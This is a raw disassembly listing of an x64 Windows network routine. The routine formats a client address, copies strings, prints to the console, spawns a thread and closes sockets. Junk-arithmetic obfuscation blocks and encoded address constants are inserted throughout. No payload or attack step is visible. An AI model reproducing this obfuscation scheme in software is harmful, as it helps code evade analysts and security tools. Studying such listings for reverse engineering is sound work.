pushf
not eax
add eax, 0xdbaa0c7c
xor eax, 0xd468fd7c
rol eax, 0x11
popf
jmp 0x140019f48
mov r9, rsi
lea r8, [rbp + 0x140]
lea rdx, [rbp - 0x6c]
mov ecx, 0x3d05857b
pushf
not ecx
add ecx, 0xe3f551f1
xor ecx, 0xfa7c2462
rol ecx, 0x6e
popf
pushf
not ecx
add ecx, 0xf46bbd5b
xor ecx, 0xfae5e636
rol ecx, 0xca
popf
jmp 0x14001b5ab
call qword [sym.imp.WS2_32.dll_inet_ntop]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rax, [rbp + 0x140]
mov rbx, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x551ede57
pushf
not eax
add eax, 0xe56edd72
xor eax, 0xefddeaf0
rol eax, 0x99
popf
pushf
not eax
add eax, 0xbabfebba
xor eax, 0xe660c78e
rol eax, 0x2b
popf
jmp 0x140019f48
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001b647
push rax
pushf
mov eax, 0x9d82ad3f
pushf
not eax
add eax, 0xee66b938
xor eax, 0xa0d879d4
rol eax, 0x57
popf
pushf
not eax
add eax, 0xcc206c80
xor eax, 0xb4484e46
rol eax, 0x6c
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x17f99eb7
pushf
not eax
add eax, 0xab4ec3f7
xor eax, 0xda89344b
rol eax, 0x19
popf
pushf
not eax
add eax, 0xa8a22935
xor eax, 0xc00e6c12
rol eax, 0x98
popf
jmp 0x140019f48
cmp rbx, r13
ja 0x14001b6dc
push rax
pushf
mov eax, 0xc05cd970
pushf
not eax
add eax, 0x9547a2af
xor eax, 0xc4576a74
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xd66c1633
xor eax, 0x884460d8
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xf3d4aeaf
xor eax, 0xd9bedbdc
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xc6c15742
xor eax, 0xebaef340
rol eax, 0x4b
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xfc4c1657
pushf
not eax
add eax, 0xcc9d07bb
xor eax, 0xba273aa4
rol eax, 0xda
popf
pushf
not eax
add eax, 0xa2566973
xor eax, 0x970d5cdb
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa31009ec
xor eax, 0xa302d8f5
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9770ff6a
xor eax, 0xffcd262c
rol eax, 0x1a
popf
jmp 0x140019f48
mov qword [rsp + 0x48], socket
cmp rbx, 0x10
jae 0x14001b78a
push rax
pushf
mov eax, 0x2777d330
pushf
not eax
add eax, 0xe780d94b
xor eax, 0xeceba712
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xc337d75e
xor eax, 0x8e062a5b
rol eax, 0x70
popf
pushf
not eax
add eax, 0xa4d6b379
xor eax, 0xbcc8a2a2
rol eax, 0xdd
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x62d72833
pushf
not eax
add eax, 0xaa703bca
xor eax, 0xf6ca59c0
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xd8bc4892
xor eax, 0xe7628654
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb5fe5fc9
xor eax, 0xa21aac40
rol eax, 0xf1
popf
jmp 0x140019f48
mov qword [rsp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x14001bcc5
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x14001b88b
push rax
pushf
mov eax, 0xfab1b40d
pushf
not eax
add eax, 0xf3984cdb
xor eax, 0x846d60b5
rol eax, 0x24
popf
pushf
not eax
add eax, 0xe67cf136
xor eax, 0xf734bb2b
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xcb31b22c
xor eax, 0xf7878ae1
rol eax, 0x47
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x3c69f00
pushf
not eax
add eax, 0xa38a18b4
xor eax, 0xd1f43ea2
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xcb49951c
xor eax, 0xfbde0016
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x9e7a5555
xor eax, 0xf3ff0430
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xc55dc4fa
xor eax, 0x9e7537c0
rol eax, 0xab
popf
jmp 0x140019f48
mov rdi, r13
movabs rax, 0x650000009168127f
pushf
not rax
add rax, 0x550f1a4e
xor rax, 0x7c50df8b
rol rax, 0x89
popf
pushf
not rax
add rax, 0x43b29863
xor rax, 0x54020d2d
rol rax, 0x58
popf
add rax, 0x27
jmp 0x14001ba5c
cmp rdi, 0x16
cmovb rdi, rsi
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001b9a3
push rax
pushf
mov eax, 0xcc7286bc
pushf
not eax
add eax, 0xe73159a5
xor eax, 0xf0ca3679
rol eax, 0x59
popf
pushf
not eax
add eax, 0xe165677a
xor eax, 0xbd907d94
rol eax, 0xa0
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xf96d0a1b
pushf
not eax
add eax, 0xca0bacc3
xor eax, 0x90273c10
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x9e92627d
xor eax, 0xd19ca8eb
rol eax, 0xfe
popf
jmp 0x140019f48
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001ba16
push rax
pushf
mov eax, 0xf107433a
pushf
not eax
add eax, 0x912aeb99
xor eax, 0xa72c0a06
rol eax, 6
popf
pushf
not eax
add eax, 0x91e5b36e
xor eax, 0xcdfd896c
rol eax, 0xf6
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x581bbea6
pushf
not eax
add eax, 0x806d401b
xor eax, 0x9658b484
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc54f3c27
xor eax, 0xc080df1e
rol eax, 0x40
popf
pushf
not eax
add eax, 0xd3cc44db
xor eax, 0xa15b5c48
rol eax, 0x27
popf
jmp 0x140019f48
mov rcx, rax
call fcn.140010f9e
test rax, rax
je 0x14001bab3
push rax
pushf
mov eax, 0xfd5559f7
pushf
not eax
add eax, 0x83cfe754
xor eax, 0xe548bc2e
rol eax, 0x69
popf
pushf
not eax
add eax, 0xa947d32f
xor eax, 0x96c76db0
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf75b0606
xor eax, 0xd5225078
rol eax, 0x36
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x22379343
pushf
not eax
add eax, 0xa8b27374
xor eax, 0xcc7a684e
rol eax, 0x78
popf
pushf
not eax
add eax, 0xacf4b291
xor eax, 0xd90ca0f7
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xd48f34c5
xor eax, 0xd491aeb2
rol eax, 0x73
popf
jmp 0x140019f48
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001bc47
test rcx, rcx
je 0x14001bb9b
push rax
pushf
mov eax, 0xb4dd2f49
pushf
not eax
add eax, 0xce5357be
xor eax, 0x98bb4e92
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x8e7d5189
xor eax, 0xca5f0820
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb7061aea
xor eax, 0xc58f79db
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x83c53c19
xor eax, 0x91724961
rol eax, 0x7b
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x98d14ab6
pushf
not eax
add eax, 0x8b231647
xor eax, 0xfe415077
rol eax, 0x35
popf
pushf
not eax
add eax, 0xd9e1ea20
xor eax, 0xf8c909e1
rol eax, 0x78
popf
pushf
not eax
add eax, 0xab11d56d
xor eax, 0xbd6c5e0b
rol eax, 0x77
popf
jmp 0x140019f48
call fcn.140010f9e
mov rsi, rax
jmp 0x14001bc47
mov rsi, r12
push rax
pushf
mov eax, 0xf1b5d8fa
pushf
not eax
add eax, 0xedc0b6fe
xor eax, 0xccb11e56
rol eax, 0x17
popf
pushf
not eax
add eax, 0x92d38fd4
xor eax, 0xc9a07052
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xfda124bb
xor eax, 0xd548a137
rol eax, 0x83
popf
pushf
not eax
add eax, 0x9350c7ce
xor eax, 0x9d978553
rol eax, 0x22
popf
jmp 0x140019f48
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov esi, 0x87b331c4
pushf
not esi
add esi, 0x9e1cc7ba
xor esi, 0xf0faeed6
rol esi, 0x59
popf
pushf
not esi
add esi, 0x814c25b4
xor esi, 0xbfa91851
rol esi, 0x13
popf
pushf
not esi
add esi, 0xe4f3c276
xor esi, 0x92608648
rol esi, 0xac
popf
pushf
not esi
add esi, 0xa0bc606b
xor esi, 0xafdd1c6c
rol esi, 0x94
popf
lea rdx, [0x1a311cbac]
pushf
sub rdx, 0x63115454
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140015fc1
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.140018b5b
mov rcx, rax
lea rdx, [0x181af1ddb]
pushf
sub rdx, 0x41aef41b
popf
jmp 0x14001bd17
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14001bd6f
push rax
pushf
mov eax, 0x9da9f70e
pushf
not eax
add eax, 0xaee9a5ac
xor eax, 0xd8d15bfb
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xad76152b
xor eax, 0xe10f686c
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb46e1f31
xor eax, 0xa1aa305e
rol eax, 3
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x2eac4db
pushf
not eax
add eax, 0xed7076a2
xor eax, 0xc080325f
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe508ac56
xor eax, 0xa43dc0a5
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa8e8426c
xor eax, 0xe21b458c
rol eax, 0x79
popf
jmp 0x140019f48
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bdfc
push rax
pushf
mov eax, 0xda1fcc06
pushf
not eax
add eax, 0xf0780997
xor eax, 0xc7000076
rol eax, 0x81
popf
pushf
not eax
add eax, 0x9f232ebd
xor eax, 0xfc5eb2ef
rol eax, 0xd0
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xb66dee3c
pushf
not eax
add eax, 0x811f70c9
xor eax, 0x92cd852b
rol eax, 0x99
popf
pushf
not eax
add eax, 0xd3b75094
xor eax, 0xed518c7c
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb4252f4c
xor eax, 0xdbabe9e2
rol eax, 0x27
popf
pushf
not eax
add eax, 0x9d7c21b4
xor eax, 0xd006dfb8
rol eax, 0x63
popf
jmp 0x140019f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001be9d
push rax
pushf
mov eax, 0x26536b98
pushf
not eax
add eax, 0xfd55aef8
xor eax, 0xcd39783d
rol eax, 0x92
popf
pushf
not eax
add eax, 0xbd4c8deb
xor eax, 0xcfc424d3
rol eax, 0x40
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x6739ae13
pushf
not eax
add eax, 0xd4cb5724
xor eax, 0x8d76cef6
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xb4c786fa
xor eax, 0x9ca6e44c
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x8d1acb4c
xor eax, 0x833640f0
rol eax, 0x33
popf
jmp 0x140019f48
call fcn.140018871
push rax
pushf
mov eax, 0x7821bf91
pushf
not eax
add eax, 0xc49ed011
xor eax, 0xdac94fa3
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd6f6c04f
xor eax, 0xf3d8ad5a
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xbe59efb6
xor eax, 0xde423194
rol eax, 0xbb
popf
jmp 0x140019f48
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov r9, r14
lea r8, [0x1aa65a233]
pushf
sub r8, 0x6a6586e3
popf
xor edx, edx
xor ecx, ecx
jmp 0x14001bf52
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14001bfa3
push rax
pushf
mov eax, 0x7c048527
pushf
not eax
add eax, 0xa5cb87b5
xor eax, 0xa67eebb5
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb30ae092
xor eax, 0xc98bd321
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd17525a4
xor eax, 0xff1233bb
rol eax, 0xaa
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x27d8c40f
pushf
not eax
add eax, 0xc9215f8a
xor eax, 0xe2067f32
rol eax, 0xde
popf
pushf
not eax
add eax, 0xe6fa2639
xor eax, 0xd6266d42
rol eax, 0x5f
popf
jmp 0x140019f48
mov edx, 0xd16dd300
pushf
not edx
add edx, 0x80867f21
xor edx, 0x9149fbd9
rol edx, 0xd6
popf
pushf
not edx
add edx, 0xdcc0b0c5
xor edx, 0xaa286d07
rol edx, 0x4c
popf
pushf
not edx
add edx, 0xf89b57b3
xor edx, 0x9e7b2f92
rol edx, 0x63
popf
mov rcx, rax
jmp 0x14001c01e
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r14
jmp 0x14001c028
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x1bc256367]
pushf
sub rdx, 0x7c24ebc7
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140015fc1
mov rcx, rax
lea rdx, [rbp + 0x140]
call fcn.140015fc1
mov rcx, rax
lea rdx, [0x18a457041]
pushf
sub rdx, 0x4a454681
popf
jmp 0x14001c071
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001a90c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [0x1a590d20f]
pushf
sub rcx, 0x65905a97
popf
jmp 0x14001c171
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rcx, r15
jmp 0x14001c17b
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r14
jmp 0x14001c185
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14001c18c
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rbp + 0x158]
xor rcx, rsp
call fcn.1400256f3
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400139c8
int3
call fcn.140025931
int3
lea rdx, [0x1af3a7336]
pushf
sub rdx, 0x6f39fc8e
popf
lea rcx, [rsp + 0x30]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x1b63927e3]
pushf
sub rdx, 0x7638b123
popf
lea rcx, [rsp + 0x30]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
mov rcx, qword [rsp + 0x50]
jmp 0x14001c3bc
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x14001c3c3
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x1879c62e4]
pushf
sub rdx, 0x479bec04
popf
lea rcx, [rsp + 0x30]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x50]
jmp 0x14001c454
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rcx, r15
jmp 0x14001c45e
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x1bc14c71f]
pushf
sub rdx, 0x7c14501f
popf
lea rcx, [rsp + 0x30]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
mov rcx, r15
jmp 0x14001c4c0
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14001c4c7
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x18c450bd6]
pushf
sub rdx, 0x4c4494be
popf
lea rcx, [rsp + 0x30]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
call fcn.1400139c8
int3
call fcn.140025931
int3